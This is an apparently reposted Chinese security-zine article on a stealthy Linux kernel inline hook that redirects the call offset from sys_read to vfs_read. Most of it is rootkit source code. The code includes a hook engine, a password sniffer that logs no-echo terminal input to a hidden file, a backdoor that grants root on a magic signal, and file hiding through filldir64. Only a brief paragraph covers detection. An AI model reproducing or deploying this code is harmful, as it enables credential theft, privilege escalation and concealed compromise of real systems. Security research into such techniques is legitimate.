實現shell,高級Linux Kernel Inline Hook技術分析與實現

 2023-11-09 阅读 29 评论 0

摘要:2019獨角獸企業重金招聘Python工程師標準>>> ==Ph4nt0m Security Team==Issue 0x03, Phile #0x03 of 0x07|=---------------------------------------------------------------------------=| |=--------------=[ 高級Linux Kernel

2019獨角獸企業重金招聘Python工程師標準>>> hot3.png

==Ph4nt0m Security Team==Issue 0x03, Phile #0x03 of 0x07|=---------------------------------------------------------------------------=|
|=--------------=[ 高級Linux Kernel Inline Hook技術分析與實現 ]=-------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
|=--------------------------=[      By wzt     ]=----------------------------=|
|=------------------------=[   <wzt_at_xsec.org>  ]=-------------------------=|
|=---------------------------------------------------------------------------=|[目錄]1. 簡述
2. 更改offset實現跳轉
3. 補充
4. 如何查殺
5. 實例一、簡述目前流行和成熟的kernel inline hook技術就是修改內核函數的opcode,通過寫入jmp或
push ret等指令跳轉到新的內核函數中,從而達到修改或過濾的功能。這些技術的共同點就
是都會覆蓋原有的指令,這樣很容易在函數中通過查找jmp,push ret等指令來查出來,因此這
種inline hook方式不夠隱蔽。本文將使用一種高級inline hook技術來實現更隱蔽的inline
hook技術。 二、更改offset實現跳轉 如何不給函數添加或覆蓋新指令,就能跳轉到我們新的內核函數中去呢?我們知道實現一
個系統調用的函數中不可能把所有功能都在這個函數中全部實現,它必定要調用它的下層函
數。如果這個下層函數也可以得到我們想要的過濾信息等內容的話,就可以把下層函數在上
層函數中的offset替換成我們新的函數的offset,這樣上層函數調用下層函數時,就會跳到我
們新的函數中,在新的函數中做過濾和劫持內容的工作。原理是這樣的,具體來分析它該怎么
實現, 我們去看看sys_read的具體實現:linux-2.6.18/fs/read_write.c
asmlinkage ssize_t sys_read(unsigned int fd, char __user * buf, size_t count)
{struct file *file;ssize_t ret = -EBADF;int fput_needed;file = fget_light(fd, &fput_needed);if (file) {loff_t pos = file_pos_read(file);ret = vfs_read(file, buf, count, &pos);file_pos_write(file, pos);fput_light(file, fput_needed);}return ret;
}
EXPORT_SYMBOL_GPL(sys_read);我們看到sys_read最終是要調用下層函數vfs_read來完成讀取數據的操作,所以我們不
需要給sys_read添加或覆蓋指令, 而是要更改vfs_read在sys_read代碼中的offset就可以跳
轉到我們新的new_vfs_read中去。如何修改vfs_read的offset呢?先反匯編下sys_read看看:[root@xsec linux-2.6.18]# gdb -q vmlinux
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) disass sys_read
Dump of assembler code for function sys_read:
0xc106dc5a <sys_read+0>:        push   %ebp
0xc106dc5b <sys_read+1>:        mov    %esp,%ebp
0xc106dc5d <sys_read+3>:        push   %esi
0xc106dc5e <sys_read+4>:        mov    $0xfffffff7,%esi
0xc106dc63 <sys_read+9>:        push   %ebx
0xc106dc64 <sys_read+10>:       sub    $0xc,%esp
0xc106dc67 <sys_read+13>:       mov    0x8(%ebp),%eax
0xc106dc6a <sys_read+16>:       lea    0xfffffff4(%ebp),%edx
0xc106dc6d <sys_read+19>:       call   0xc106e16c <fget_light>
0xc106dc72 <sys_read+24>:       test   %eax,%eax
0xc106dc74 <sys_read+26>:       mov    %eax,%ebx
0xc106dc76 <sys_read+28>:       je     0xc106dcb1 <sys_read+87>
0xc106dc78 <sys_read+30>:       mov    0x24(%ebx),%edx
0xc106dc7b <sys_read+33>:       mov    0x20(%eax),%eax
0xc106dc7e <sys_read+36>:       mov    0x10(%ebp),%ecx
0xc106dc81 <sys_read+39>:       mov    %edx,0xfffffff0(%ebp)
0xc106dc84 <sys_read+42>:       mov    0xc(%ebp),%edx
0xc106dc87 <sys_read+45>:       mov    %eax,0xffffffec(%ebp)
0xc106dc8a <sys_read+48>:       lea    0xffffffec(%ebp),%eax
0xc106dc8d <sys_read+51>:       push   %eax
0xc106dc8e <sys_read+52>:       mov    %ebx,%eax
0xc106dc90 <sys_read+54>:       call   0xc106d75c <vfs_read>
0xc106dc95 <sys_read+59>:       mov    0xfffffff0(%ebp),%edx
0xc106dc98 <sys_read+62>:       mov    %eax,%esi
0xc106dc9a <sys_read+64>:       mov    0xffffffec(%ebp),%eax
0xc106dc9d <sys_read+67>:       mov    %edx,0x24(%ebx)
0xc106dca0 <sys_read+70>:       mov    %eax,0x20(%ebx)
0xc106dca3 <sys_read+73>:       cmpl   $0x0,0xfffffff4(%ebp)
0xc106dca7 <sys_read+77>:       pop    %eax
0xc106dca8 <sys_read+78>:       je     0xc106dcb1 <sys_read+87>
0xc106dcaa <sys_read+80>:       mov    %ebx,%eax
0xc106dcac <sys_read+82>:       call   0xc106e107 <fput>
0xc106dcb1 <sys_read+87>:       lea    0xfffffff8(%ebp),%esp
0xc106dcb4 <sys_read+90>:       mov    %esi,%eax
0xc106dcb6 <sys_read+92>:       pop    %ebx
0xc106dcb7 <sys_read+93>:       pop    %esi
0xc106dcb8 <sys_read+94>:       pop    %ebp
0xc106dcb9 <sys_read+95>:       ret    
End of assembler dump.
(gdb) 0xc106dc90 <sys_read+54>:       call   0xc106d75c <vfs_read>通過call指令來跳轉到vfs_read中去。0xc106d75c是vfs_read的內存地址。所以只要把
這個地址替換成我們的新函數地址,當sys_read執行這塊的時候,就會跳轉到我們的函數來了。下面給出我寫的一個hook引擎,來完成查找和替換offset的功能。原理就是搜索sys_read
的opcode,如果發現是call指令,根據call后面的offset重新計算要跳轉的地址是不是我們要
hook的函數地址,如果是就重新計算新函數的offset,用新的offset替換原來的offset。從而
完成跳轉功能。參數handler是上層函數的地址,這里就是sys_read的地址,old_func是要替換的函數地
址,這里就是vfs_read, new_func是新函數的地址,這里就是new_vfs_read的地址。unsigned int patch_kernel_func(unsigned int handler, unsigned int old_func, unsigned int new_func)
{unsigned char *p = (unsigned char *)handler;unsigned char buf[4] = "\x00\x00\x00\x00";unsigned int offset = 0;unsigned int orig = 0;int i = 0;DbgPrint("\n*** hook engine: start patch func at: 0x%08x\n", old_func);while (1) {if (i > 512)return 0;if (p[0] == 0xe8) {DbgPrint("*** hook engine: found opcode 0x%02x\n", p[0]);DbgPrint("*** hook engine: call addr: 0x%08x\n", (unsigned int)p);buf[0] = p[1];buf[1] = p[2];buf[2] = p[3];buf[3] = p[4];DbgPrint("*** hook engine: 0x%02x 0x%02x 0x%02x 0x%02x\n", p[1], p[2], p[3], p[4]);offset = *(unsigned int *)buf;DbgPrint("*** hook engine: offset: 0x%08x\n", offset);orig = offset + (unsigned int)p + 5;DbgPrint("*** hook engine: original func: 0x%08x\n", orig);if (orig == old_func) {DbgPrint("*** hook engine: found old func at"" 0x%08x\n", old_func);DbgPrint("%d\n", i);break;}}p++;i++;}offset = new_func - (unsigned int)p - 5;DbgPrint("*** hook engine: new func offset: 0x%08x\n", offset);p[1] = (offset & 0x000000ff);p[2] = (offset & 0x0000ff00) >> 8;p[3] = (offset & 0x00ff0000) >> 16;p[4] = (offset & 0xff000000) >> 24;DbgPrint("*** hook engine: pachted new func offset.\n");return orig;
} 使用這種方法,我們僅改了函數的一個offset,沒有添加和修改任何指令,傳統的inline 
hook檢查思路都已經失效。三、補充 這種通過修改offset的來實現跳轉的方法,需要知道上層函數的地址,在上面的例子中
sys_read和vfs_read在內核中都是導出的,因此可以直接引用它們的地址。但是如果想hook
沒有導出的函數時,不僅要知道上層函數的地址,還要知道下層函數的地址。因此給rootkit
的安裝稍微帶了點麻煩。不過,可以通過讀取/proc/kallsyms或system map來查找函數地址。四、如何查殺這種inline hook技術改寫的只是函數的offset, 并沒有添加傳統的jmp, push ret等指
令,所以傳統的inline hook檢測技術基本失效。我想到的一種解決方法就是對某些函數的
offset做備份,然后需要的時候與現在的offset進行比較,如果不相等可能機器就中了這種類
型的rootkit。 如果您有好的想法可以通過mail與我共同交流。五、實例下面是hook sys_read的部分代碼實現,讀者可以根據思路來補充完整。 ========
config.h#ifndef CONFIG_H
#define CONFIG_H#define SNIFF_LOG		"/tmp/.sniff_log"
#define KALL_SYMS_NAME		"/proc/kallsyms"#define HIDE_FILE		"test"#define MAGIC_PID		12345
#define MAGIC_SIG		58
#endi======
hook.h#ifndef HOOK_H
#define HOOK_H#define HOOK_VERSION	0.1#define HOOK_DEBUG#ifdef HOOK_DEBUG
#define DbgPrint(format, args...) \printk("hook: function:%s-L%d: "format, __FUNCTION__, __LINE__, ##args);
#else
#define DbgPrint(format, args...)  do {} while(0);
#endif#define SYS_REPLACE(x) 	orig_##x = sys_call_table[__NR_##x];	\sys_call_table[__NR_##x] = new_##x#define SYS_RESTORE(x)	sys_call_table[__NR_##x] = orig_##x#define CLEAR_CR0	asm ("pushl %eax\n\t" 			\"movl %cr0, %eax\n\t"		\"andl $0xfffeffff, %eax\n\t" 	\"movl %eax, %cr0\n\t"		\"popl %eax");#define SET_CR0		asm ("pushl %eax\n\t" 			\"movl %cr0, %eax\n\t" 		\"orl $0x00010000, %eax\n\t" 	\"movl %eax, %cr0\n\t"		\"popl %eax");struct descriptor_idt
{unsigned short offset_low;unsigned short ignore1;unsigned short ignore2;unsigned short offset_high;
};static struct {unsigned short limit;unsigned long base;
}__attribute__ ((packed)) idt48;void **sys_call_table;asmlinkage ssize_t new_read(unsigned int fd, char __user * buf, size_t count);
asmlinkage ssize_t (*orig_read)(unsigned int fd, char __user * buf, size_t count);#endif========
k_file.h#ifndef TTY_SNIFF_H
#define TTY_SNIFF_H#define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
#define END_KMEM set_fs(old_fs); }#define BEGIN_ROOT  int saved_fsuid = current->fsuid; \current->fsuid = 0;
#define END_ROOT current->fsuid = saved_fsuid; #define IS_PASSWD(tty) L_ICANON(tty) && !L_ECHO(tty)#define READABLE(f) (f->f_op && f->f_op->read)
#define _read(f, buf, sz) (f->f_op->read(f, buf, sz, &f->f_pos))#define WRITABLE(f) (f->f_op && f->f_op->write)
#define _write(f, buf, sz) (f->f_op->write(f, buf, sz, &f->f_pos))#define TTY_READ(tty, buf, count) (*tty->driver->read)(tty, 0, \buf, count)#define TTY_WRITE(tty, buf, count) (*tty->driver->write)(tty, 0, \buf, count)int write_to_file(char *logfile, char *buf, int size);#endif========
k_file.c#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/fs.h>
#include <linux/file.h>
#include <linux/string.h>
#include <linux/spinlock.h>
#include <linux/smp_lock.h>
#include <asm/uaccess.h>#include "k_file.h"int write_to_file(char *logfile, char *buf, int size)
{mm_segment_t old_fs;struct file *f = NULL;int ret = 0;old_fs = get_fs();set_fs(get_ds());BEGIN_ROOTf = filp_open(logfile, O_CREAT | O_APPEND, 00600);if (IS_ERR(f)) {printk("Error %ld opening %s\n", -PTR_ERR(f), logfile);set_fs(old_fs);END_ROOTret = -1;} else {if (WRITABLE(f)) {_write(f, buf, size);}else {printk("%s does not have a write method\n", logfile);set_fs(old_fs);END_ROOTret = -1;}if ((ret = filp_close(f,NULL)))printk("Error %d closing %s\n", -ret, logfile);}set_fs(old_fs);END_ROOTreturn ret;
}==========
get_time.c#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/version.h>
#include <linux/module.h>
#include <linux/time.h>
#include <asm/uaccess.h>/* Macros used to get local time */#define SECS_PER_HOUR   (60 * 60)
#define SECS_PER_DAY    (SECS_PER_HOUR * 24)
#define isleap(year) \((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0))
#define DIV(a, b) ((a) / (b) - ((a) % (b) < 0))
#define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV (y, 400))struct vtm
{int tm_sec;int tm_min;int tm_hour;int tm_mday;int tm_mon;int tm_year;
};int timezone;int epoch2time(const time_t * t, long int offset, struct vtm *tp)
{static const unsigned short int mon_yday[2][13] = {/* Normal years.  */{0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365},/* Leap years.  */{0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366}};long int days, rem, y;const unsigned short int *ip;days = *t / SECS_PER_DAY;rem = *t % SECS_PER_DAY;rem += offset;while (rem < 0) {rem += SECS_PER_DAY;--days;}while (rem >= SECS_PER_DAY) {rem -= SECS_PER_DAY;++days;}tp->tm_hour = rem / SECS_PER_HOUR;rem %= SECS_PER_HOUR;tp->tm_min = rem / 60;tp->tm_sec = rem % 60;y = 1970;while (days < 0 || days >= (isleap(y) ? 366 : 365)) {long int yg = y + days / 365 - (days % 365 < 0);days -= ((yg - y) * 365 + LEAPS_THRU_END_OF(yg - 1)- LEAPS_THRU_END_OF(y - 1));y = yg;}tp->tm_year = y - 1900;if (tp->tm_year != y - 1900)return 0;ip = mon_yday[isleap(y)];for (y = 11; days < (long int) ip[y]; --y)continue;days -= ip[y];tp->tm_mon = y;tp->tm_mday = days + 1;return 1;
}/**  Get current date & time*/void get_time(char *date_time)
{struct timeval tv;time_t t;struct vtm tm;do_gettimeofday(&tv);t = (time_t) tv.tv_sec;epoch2time(&t, timezone, &tm);sprintf(date_time, "%.2d/%.2d/%d-%.2d:%.2d:%.2d", tm.tm_mday,tm.tm_mon + 1, tm.tm_year + 1900, tm.tm_hour, tm.tm_min,tm.tm_sec);
}===========
hide_file.c#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/string.h>
#include <linux/types.h>
#include <linux/fs.h>
#include <linux/file.h>
#include <linux/dirent.h>
#include <asm/uaccess.h>#include "config.h"#define ROUND_UP64(x) (((x)+sizeof(u64)-1) & ~(sizeof(u64)-1))
#define NAME_OFFSET(de) ((int) ((de)->d_name - (char __user *) (de)))struct getdents_callback64 {struct linux_dirent64 __user * current_dir;struct linux_dirent64 __user * previous;int count;int error;
};int new_filldir64(void * __buf, const char * name, int namlen, loff_t offset,ino_t ino, unsigned int d_type)
{struct linux_dirent64 __user *dirent;struct getdents_callback64 * buf = (struct getdents_callback64 *) __buf;int reclen = ROUND_UP64(NAME_OFFSET(dirent) + namlen + 1);buf->error = -EINVAL;   /* only used if we fail.. */if (reclen > buf->count)return -EINVAL;dirent = buf->previous;if (dirent) {if (strstr(name, HIDE_FILE) != NULL) {return 0;}if (__put_user(offset, &dirent->d_off))goto efault;}dirent = buf->current_dir;if (strstr(name, HIDE_FILE) != NULL) {return 0;}if (__put_user(ino, &dirent->d_ino))goto efault;if (__put_user(0, &dirent->d_off))goto efault;if (__put_user(reclen, &dirent->d_reclen))goto efault;if (__put_user(d_type, &dirent->d_type))goto efault;if (copy_to_user(dirent->d_name, name, namlen))goto efault;if (__put_user(0, dirent->d_name + namlen))goto efault;buf->previous = dirent;dirent = (void __user *)dirent + reclen;buf->current_dir = dirent;buf->count -= reclen;return 0;
efault:buf->error = -EFAULT;return -EFAULT;
}======
hook.c
/*My hook engine v0.20by wzt	<wzt@xsec.org>tested on  amd64 as5, x86 as4,5
*/#include <linux/init.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/spinlock.h>
#include <linux/smp_lock.h>
#include <linux/fs.h>
#include <linux/file.h>
#include <linux/dirent.h>
#include <linux/string.h>
#include <linux/unistd.h>
#include <linux/socket.h>
#include <linux/net.h>
#include <linux/tty.h>
#include <linux/tty_driver.h>
#include <net/sock.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <asm/siginfo.h>#include "syscalls.h"
#include "config.h"
#include "k_file.h"
#include "hide_file.h"
#include "hook.h"#define READ_NUM	200extern int write_to_file(char *logfile, char *buf, int size);ssize_t (*orig_vfs_read)(struct file *file, char __user *buf, size_t count,loff_t *pos);
int (*orig_kill_something_info)(int sig, struct siginfo *info, int pid);unsigned int system_call_addr = 0;
unsigned int sys_call_table_addr = 0;unsigned int sys_read_addr = 0;
unsigned int sys_getdents64_addr = 0;
unsigned int sys_kill_addr = 0;
unsigned int kill_something_info_addr = 0;int hook_kill_something_info_flag = 1;
int hook_vfs_read_flag = 1;spinlock_t tty_sniff_lock = SPIN_LOCK_UNLOCKED;unsigned int filldir64_addr = 0;
unsigned char old_filldir64_opcode[5];unsigned int get_sct_addr(void)
{int i = 0, ret = 0;for (; i < 500; i++) {if ((*(unsigned char*)(system_call_addr + i) == 0xff)&& (*(unsigned char *)(system_call_addr + i + 1) == 0x14)&& (*(unsigned char *)(system_call_addr + i + 2) == 0x85)) {ret = *(unsigned int *)(system_call_addr + i + 3);break;}}return ret;
}unsigned int find_kernel_symbol(char *symbol_name, char *search_file)
{mm_segment_t old_fs;ssize_t bytes;struct file *file = NULL;char read_buf[500];char *p, tmp[20];unsigned int addr = 0;int i = 0;file = filp_open(search_file, O_RDONLY, 0);if (!file)return -1;if (!file->f_op->read)return -1;old_fs = get_fs();set_fs(get_ds());while ((bytes = file->f_op->read(file, read_buf, 500, &file->f_pos))) {if ((p = strstr(read_buf, symbol_name)) != NULL) {while (*p--)if (*p == "\n")break;while (*p++ != " ") {tmp[i++] = *p;}tmp[--i] = "\0";addr = simple_strtoul(tmp, NULL, 16);DbgPrint("find %s at: 0x%8x\n", symbol_name, addr);break;}}filp_close(file,NULL);set_fs(old_fs);return addr;
}unsigned int try_find_kernel_symbol(char *symbol_name, char *search_file, int search_num)
{unsigned int addr = 0;int i = 0;for (i = 0; i < search_num; i++) {addr = find_kernel_symbol(symbol_name, search_file);if (addr)break;}return addr;
}ssize_t new_vfs_read(struct file *file, char __user *buf, size_t count, loff_t *pos)
{ssize_t ret;ret = (*orig_vfs_read)(file, buf, count, pos);if (ret > 0) {struct task_struct *tsk = current;struct tty_struct *tty = NULL;tty = tsk->signal->tty;if (tty && IS_PASSWD(tty)) {char *tmp_buf = NULL, buff[READ_NUM];if (ret > READ_NUM)return ret;tmp_buf = (char *)kmalloc(ret, GFP_ATOMIC);if (!tmp_buf)return ret;copy_from_user(tmp_buf, buf, ret);snprintf(buff, sizeof(buff),"<process: %s>\t--\tpasswd: %s\n", tsk->comm, tmp_buf);write_to_file(SNIFF_LOG, buff, strlen(buff));kfree(tmp_buf);}}return ret;
}int new_kill_something_info(int sig, struct siginfo *info, int pid)
{struct task_struct *tsk = current;int ret;if ((MAGIC_PID == pid) && (MAGIC_SIG == sig)) {tsk->uid = 0;tsk->euid = 0;tsk->gid = 0;tsk->egid = 0;return 0;}else {ret = (*orig_kill_something_info)(sig, info, pid);return ret;}
}unsigned int patch_kernel_func(unsigned int handler, unsigned int old_func, unsigned int new_func)
{unsigned char *p = (unsigned char *)handler;unsigned char buf[4] = "\x00\x00\x00\x00";unsigned int offset = 0;unsigned int orig = 0;int i = 0;DbgPrint("\n*** hook engine: start patch func at: 0x%08x\n", old_func);while (1) {if (i > 512)return 0;if (p[0] == 0xe8) {DbgPrint("*** hook engine: found opcode 0x%02x\n", p[0]);DbgPrint("*** hook engine: call addr: 0x%08x\n", (unsigned int)p);buf[0] = p[1];buf[1] = p[2];buf[2] = p[3];buf[3] = p[4];DbgPrint("*** hook engine: 0x%02x 0x%02x 0x%02x 0x%02x\n", p[1], p[2], p[3], p[4]);offset = *(unsigned int *)buf;DbgPrint("*** hook engine: offset: 0x%08x\n", offset);orig = offset + (unsigned int)p + 5;DbgPrint("*** hook engine: original func: 0x%08x\n", orig);if (orig == old_func) {DbgPrint("*** hook engine: found old func at"" 0x%08x\n", old_func);DbgPrint("%d\n", i);break;}}p++;i++;}offset = new_func - (unsigned int)p - 5;DbgPrint("*** hook engine: new func offset: 0x%08x\n", offset);p[1] = (offset & 0x000000ff);p[2] = (offset & 0x0000ff00) >> 8;p[3] = (offset & 0x00ff0000) >> 16;p[4] = (offset & 0xff000000) >> 24;DbgPrint("*** hook engine: pachted new func offset.\n");return orig;
}static int inline_hook_func(unsigned int old_func, unsigned int new_func,unsigned char *old_opcode)
{unsigned char *buf;unsigned int p;int i;buf = (unsigned char *)old_func;memcpy(old_opcode, buf, 5);p = (unsigned int)new_func - (unsigned int)old_func - 5;buf[0] = 0xe9;memcpy(buf + 1, &p, 4);
}static int restore_inline_hook(unsigned int old_func, unsigned char *old_opcode)
{unsigned char *buf;buf = (unsigned char *)old_func;memcpy(buf, old_opcode, 5);
}static int hook_init(void)
{struct descriptor_idt *pIdt80;__asm__ volatile ("sidt %0": "=m" (idt48));pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80);system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low);if (!system_call_addr) {DbgPrint("oh, shit! can"t find system_call address.\n");return 0;}DbgPrint(KERN_ALERT "system_call addr : 0x%8x\n",system_call_addr);sys_call_table_addr = get_sct_addr();if (!sys_call_table_addr) {DbgPrint("oh, shit! can"t find sys_call_table address.\n");return 0;}DbgPrint(KERN_ALERT "sys_call_table addr : 0x%8x\n",sys_call_table_addr);sys_call_table = (void **)sys_call_table_addr;sys_read_addr = (unsigned int)sys_call_table[__NR_read];sys_kill_addr = (unsigned int)sys_call_table[__NR_kill];DbgPrint("sys_read addr: 0x%08x\n", sys_read_addr);DbgPrint("sys_kill addr: 0x%08x\n", sys_kill_addr);kill_something_info_addr = try_find_kernel_symbol("kill_something_info2", KALL_SYMS_NAME, 3);DbgPrint("kill_something_info addr: 0x%08x\n", kill_something_info_addr);filldir64_addr = try_find_kernel_symbol("filldir64", KALL_SYMS_NAME, 3);DbgPrint("filldir64 addr: 0x%08x\n", filldir64_addr);lock_kernel();CLEAR_CR0if (sys_read_addr) {orig_vfs_read = (ssize_t (*)())patch_kernel_func(sys_read_addr,(unsigned int)vfs_read, (unsigned int)new_vfs_read);if ((unsigned int)orig_vfs_read == 0)hook_vfs_read_flag = 0;}if (kill_something_info_addr && sys_kill_addr) {orig_kill_something_info = (int (*)())patch_kernel_func(sys_kill_addr,(unsigned int)kill_something_info_addr, (unsigned int)new_kill_something_info);if ((unsigned int)orig_kill_something_info == 0)hook_kill_something_info_flag = 0;}if (filldir64_addr) {inline_hook_func(filldir64_addr, (unsigned int)new_filldir64, old_filldir64_opcode);}SET_CR0unlock_kernel();DbgPrint("orig_vfs_read: 0x%08x\n", (unsigned int)orig_vfs_read);DbgPrint("orig_kill_something_info: 0x%08x\n", (unsigned int)orig_kill_something_info);if (!hook_kill_something_info_flag && !hook_vfs_read_flag) {DbgPrint("install hook failed.\n");}else {DbgPrint("install hook ok.\n");}return 0;
}static void hook_exit(void)
{lock_kernel();CLEAR_CR0if (hook_vfs_read_flag)patch_kernel_func(sys_read_addr, (unsigned int)new_vfs_read, (unsigned int)vfs_read);if (hook_kill_something_info_flag)patch_kernel_func(sys_kill_addr, (unsigned int)new_kill_something_info,(unsigned int)kill_something_info_addr);SET_CR0unlock_kernel();if (filldir64_addr) {restore_inline_hook(filldir64_addr, old_filldir64_opcode);}DbgPrint("uninstall hook ok.\n");
}module_init(hook_init);
module_exit(hook_exit);MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");-EOF-

轉載于:https://my.oschina.net/zhuzihasablog/blog/98819

版权声明:本站所有资料均为网友推荐收集整理而来,仅供学习和研究交流使用。

原文链接:https://hbdhgg.com/4/168435.html

发表评论:

本站为非赢利网站,部分文章来源或改编自互联网及其他公众平台,主要目的在于分享信息,版权归原作者所有,内容仅供读者参考,如有侵权请联系我们删除!

Copyright © 2022 匯編語言學習筆記 Inc. 保留所有权利。

底部版权信息